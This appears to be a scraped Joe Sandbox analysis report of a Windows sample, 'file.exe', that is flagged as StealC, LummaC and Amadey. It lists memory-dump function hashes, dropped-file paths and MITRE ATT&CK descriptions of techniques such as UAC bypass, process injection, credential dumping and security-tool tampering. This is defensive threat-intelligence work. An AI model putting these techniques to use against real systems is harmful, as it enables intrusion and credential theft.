Function 00E1C69B Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ade4149e4b65d89587d30598ce649166dc50a5d24452bf7d476dfc8c290e286
Instruction ID: 8ed7d3f48a78d5d6eea80ab3a13dfc81e7312a7d9e8905ada082e2bf8cb76ecd
Opcode Fuzzy Hash: 5ade4149e4b65d89587d30598ce649166dc50a5d24452bf7d476dfc8c290e286
Instruction Fuzzy Hash: B131BCF250C3009FE705AF29EC816AAFBE1FF98760F16482DE6C182A50D3355980CB47

Analysis Process: NX5XML9A4AMIPXG5AGRT0AH025A0.exePID: 6000, Parent PID: 744COMMON

Executed Functions

Function 04EE0C72 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2364970847.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ee0000_NX5XML9A4AMIPXG5AGRT0AH025A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e495d33e21b55a80cf8441e94cead0b85003899ac84e375563a18e286f1b16
Instruction ID: 2356ae2554612a053968ccf6d01a92739c60afd3ca5b96d96b2d4bc4b5fc3453
Opcode Fuzzy Hash: 68e495d33e21b55a80cf8441e94cead0b85003899ac84e375563a18e286f1b16
Instruction Fuzzy Hash: 1121A3A724C130BEF10282836B14AF7AB2DE7C27303309466F407C6506F2E5AA496272

Function 04EE0D17 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2364970847.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ee0000_NX5XML9A4AMIPXG5AGRT0AH025A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 991efe8252ff6dd2e2e18fd3556bbaa6e8cd652caccc3b4f11e8c57eee109117
Instruction ID: e9ebc81adaa967f379e160240910ff9614d91b36673fb11d050ef6cade951cb5
Opcode Fuzzy Hash: 991efe8252ff6dd2e2e18fd3556bbaa6e8cd652caccc3b4f11e8c57eee109117
Instruction Fuzzy Hash: EA21C6FB24C130BEB10695936B549F7AB2EE7C2730330D426F407D6506F2D46A9A6272

Function 04EE0CD2 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2364970847.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ee0000_NX5XML9A4AMIPXG5AGRT0AH025A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28239b3de3a9ce8c9020af6d8787960fb42de87fc8d1c7bd0668d726549e1a3a
Instruction ID: d39e81c669cf9b0ece031a2a43d1a816bca4f2f426a646c17ccfcb682b57ba84
Opcode Fuzzy Hash: 28239b3de3a9ce8c9020af6d8787960fb42de87fc8d1c7bd0668d726549e1a3a
Instruction Fuzzy Hash: AD1187FB24C1207EB14295936B14AF76B2EE7C2730331D826F407D2546F2D5AB996272

Function 04EE0D0A Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2364970847.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ee0000_NX5XML9A4AMIPXG5AGRT0AH025A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5444b9c3ebf2e5859e4bfa5544f7be4abeb55dca075499f191edf87dd3d724
Instruction ID: 6ff644ff5ab0ad85131d114f298f684eff61915f4e01aec1a9f9adefb4d48e17
Opcode Fuzzy Hash: 6d5444b9c3ebf2e5859e4bfa5544f7be4abeb55dca075499f191edf87dd3d724
Instruction Fuzzy Hash: AD01C4EB248124BEE14256936B546F6BB6EF7C37303309426F407D2546F2E077997272

Function 04EE0D5C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2364970847.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ee0000_NX5XML9A4AMIPXG5AGRT0AH025A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0300465754bee1814f994f951916b0cd24aaa685834f0dd235d3c8288f47655e
Instruction ID: 2e7183457fed597a49e7d5f25e32d236e21928ce8d98ca32d533d256ea91bae9
Opcode Fuzzy Hash: 0300465754bee1814f994f951916b0cd24aaa685834f0dd235d3c8288f47655e
Instruction Fuzzy Hash: E601B5BB148120AFE54296926B045F77B69F7C27307309426F403D2046F6E07B996232

Function 04EE0D3D Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2364970847.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ee0000_NX5XML9A4AMIPXG5AGRT0AH025A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f0d35a9a887b88a3ab1082084abcad073984eaf2d32a9c9a1bbf7f5a1984866
Instruction ID: 7d8996bdc6f6400e6420ab5838bcbcda323c41a488ef7154ca20f20c182d346e
Opcode Fuzzy Hash: 6f0d35a9a887b88a3ab1082084abcad073984eaf2d32a9c9a1bbf7f5a1984866
Instruction Fuzzy Hash: AD0184AB24C060BEA54295A22B455F7AB29E7C37303309426F507D3146F6E077996272

Function 04EE0D79 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2364970847.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ee0000_NX5XML9A4AMIPXG5AGRT0AH025A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 932c0c13b5c1261db7d86abd8bed3e8c2cb0b649a95849de40b35cb37d3ad2a6
Instruction ID: b0c2180862af04b1d7d02f199f2349dfc2071c504149130645d8be4b301429a3
Opcode Fuzzy Hash: 932c0c13b5c1261db7d86abd8bed3e8c2cb0b649a95849de40b35cb37d3ad2a6
Instruction Fuzzy Hash: 85F05EAB248020AEB04692A36B596F7A72CE7C2730370A536F543E2186F6D4679D6132

Non-executed Functions

Function 04EE02BA Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2364970847.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ee0000_NX5XML9A4AMIPXG5AGRT0AH025A0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6b0870322c1ed0232ac2bd2f191466bd9a114e0e8a5986900c87220c8fa7764
Instruction ID: 04f0661c7bae5d9f07ca198e9df741ff1791064c4e7a9ebde1eb3f7223815aff
Opcode Fuzzy Hash: b6b0870322c1ed0232ac2bd2f191466bd9a114e0e8a5986900c87220c8fa7764
Instruction Fuzzy Hash: 9B11D2E7388131BFE2168697AB10AFA672EF7C63303356467B403DB443F2D4A94A6131

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1664VO856PFRR45SNXLF.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre